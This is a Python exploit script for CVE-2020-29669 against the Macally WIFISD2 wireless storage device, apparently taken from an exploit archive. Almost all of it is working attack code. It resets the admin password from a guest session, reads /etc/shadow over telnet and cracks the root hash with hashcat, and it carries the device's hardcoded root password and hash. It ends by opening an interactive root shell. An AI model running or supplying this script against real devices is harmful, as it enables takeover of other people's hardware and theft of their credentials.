140 lines
No EOL
6.3 KiB
Python
Executable file
140 lines
No EOL
6.3 KiB
Python
Executable file
# Exploit Title: Macally WIFISD2-2A82 2.000.010 - Guest to Root Privilege Escalation
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# Date: 03.12.2020
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# Exploit Author: Maximilian Barz and Daniel Schwendner
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# Vendor Homepage: https://us.macally.com/products/wifisd2
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# Version: 2.000.010
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# Tested on: Kali Linux 5.7.0-kali1-amd64
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# CVE : CVE-2020-29669
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# Reference: https://github.com/S1lkys/CVE-2020-29669/
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#!/usr/bin/env/python3
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import requests
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import telnetlib
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import os
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import sys
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import re
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banner = '''\033[94m
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██████ ▄▄▄█████▓ ▄▄▄ ██▀███ ▄▄▄▄ █ ██ ██▀███ ██████ ▄▄▄█████▓
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▒██ ▒ ▓ ██▒ ▓▒▒████▄ ▓██ ▒ ██▒▓█████▄ ██ ▓██▒▓██ ▒ ██▒▒██ ▒ ▓ ██▒ ▓▒
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░ ▓██▄ ▒ ▓██░ ▒░▒██ ▀█▄ ▓██ ░▄█ ▒▒██▒ ▄██▓██ ▒██░▓██ ░▄█ ▒░ ▓██▄ ▒ ▓██░ ▒░
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▒ ██▒░ ▓██▓ ░ ░██▄▄▄▄██ ▒██▀▀█▄ ▒██░█▀ ▓▓█ ░██░▒██▀▀█▄ ▒ ██▒░ ▓██▓ ░
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▒██████▒▒ ▒██▒ ░ ▓█ ▓██▒░██▓ ▒██▒░▓█ ▀█▓▒▒█████▓ ░██▓ ▒██▒▒██████▒▒ ▒██▒ ░
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▒ ▒▓▒ ▒ ░ ▒ ░░ ▒▒ ▓▒█░░ ▒▓ ░▒▓░░▒▓███▀▒░▒▓▒ ▒ ▒ ░ ▒▓ ░▒▓░▒ ▒▓▒ ▒ ░ ▒ ░░
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░ ░▒ ░ ░ ░ ▒ ▒▒ ░ ░▒ ░ ▒░▒░▒ ░ ░░▒░ ░ ░ ░▒ ░ ▒░░ ░▒ ░ ░ ░
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░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░░░ ░ ░ ░░ ░ ░ ░ ░ ░
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░ ░ ░ ░ ░ ░ ░ ░
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░
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\x1b[0m
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Macally WIFISD2 Guest to Root Privilege Escalation for CVE-2020-29669 by Maximilian Barz and Daniel Schwendner
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'''
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def main():
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if(len(sys.argv) < 2):
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print(banner)
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print("Usage: %s <host> " % sys.argv[0])
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print("Eg: %s 1.2.3.4 " % sys.argv[0])
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return
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rhost = sys.argv[1]
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session = requests.Session()
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guest_creds = "guest_pass"
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admin_pass_to_set = "Silky123"
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def send_requests():
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url = "http://"+rhost+"/protocol.csp?function=set"
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payload = {'fname':'security','opt':'pwdchk','name':'guest','pwd1':guest_creds,'function':'set'}
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headers = {
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'Host': rhost,
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'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
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'Accept': '*/*',
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'Accept-Language': 'en-US,en;q=0.5',
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'Accept-Encoding': 'gzip, deflate',
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'Referer': 'http://'+rhost+'/index.html',
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'Content-Type': 'application/x-www-form-urlencoded',
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'Content-Length': '65',
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'Connection': 'close',
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'Cache-Control': 'no-cache',
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}
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r= session.post(url, payload, headers)
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if (b"<errno>0</errno>" in r.content):
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print("\033[92m[+] Authentication successful\x1b[0m")
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print("\t"+str(session.cookies.get_dict()))
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else:
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print("\033[91m[+] Authentication failed.\x1b[0m")
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sys.exit()
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url = "http://"+rhost+"/protocol.csp?fname=security&function=set"
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payload = {'name':'admin','opt':'pwdmod','pwd1':admin_pass_to_set,'pwd2':admin_pass_to_set}
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headers = {
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'Host': rhost,
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'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
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'Accept': '*/*',
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'Accept-Language': 'en-US,en;q=0.5',
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'Accept-Encoding': 'gzip, deflate',
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'Referer': 'http://'+rhost+'/app/user/guest.html',
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'Content-Type': 'application/x-www-form-urlencoded',
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'Content-Length': '49',
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'Connection': 'close',
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'Cache-Control': 'no-cache',
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}
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d = session.post(url, payload, headers)
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if (b"<errno>0</errno>" in d.content):
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print("\033[92m[+] Admin Password changed to: "+admin_pass_to_set+"\x1b[0m")
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telnet_grep_root_hash()
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#print("[+] Spawning Admin Shell")
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#telnet_login()
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else:
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print("\033[91m[+] Admin Password change failed\x1b[0m")
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sys.exit()
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def telnet_grep_root_hash():
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user = "admin"
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tn = telnetlib.Telnet(rhost)
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tn.read_until(b"login: ")
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tn.write(user.encode('ascii') + b"\n")
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tn.read_until(b"Password: ")
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tn.write(admin_pass_to_set.encode('ascii') + b"\n")
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print("\033[92m[+] Dumping Hashes:\x1b[0m")
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tn.write(b"cat /etc/shadow\n\r")
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tn.write(b"exit\n")
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output = tn.read_all().decode('ascii')
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L = output.split('\n')
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for hash in L:
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if ":" in hash:
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print("\t"+hash)
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print("\n\r")
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for hash in L:
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if "root" in hash:
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print("\033[92m[+] Root Hash found, trying to crack it..\x1b[0m")
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print("\t"+hash) #root:$1$D0o034Sm$LY0jyeFPifEXVmdgUfSEj/:15386:0:99999:7:::
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f = open("root_hash","w+")
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f.write(hash)
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f.close()
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crack_root_hash();
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def crack_root_hash():
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f = open("root_hash", "r")
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hash = f.read()
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if ("root:$1$D0o034Sm$LY0jyeFPifEXVmdgUfSEj/:15386:0:99999:7:::" in hash):
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print("\033[92mRoot Password: 20080826\x1b[0m\n")
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telnet_login()
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else:
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os.system("hashcat -a 0 -m 500 root_hash /root/tools/routersploit/routersploit/resources/wordlists/passwords.txt") #https://github.com/threat9/routersploit/blob/master/routersploit/resources/wordlists/passwords.txt
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def telnet_login():
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print("\033[92m[+] Spawning Rootshell\x1b[0m")
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user = "root"
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root_password="20080826"
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tn = telnetlib.Telnet(rhost)
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tn.read_until(b"login: ")
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tn.write(user.encode('ascii') + b"\n")
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tn.read_until(b"Password: ")
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tn.write(root_password.encode('ascii') + b"\n")
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tn.interact()
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print(banner)
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send_requests()
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if(__name__ == '__main__'):
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main() |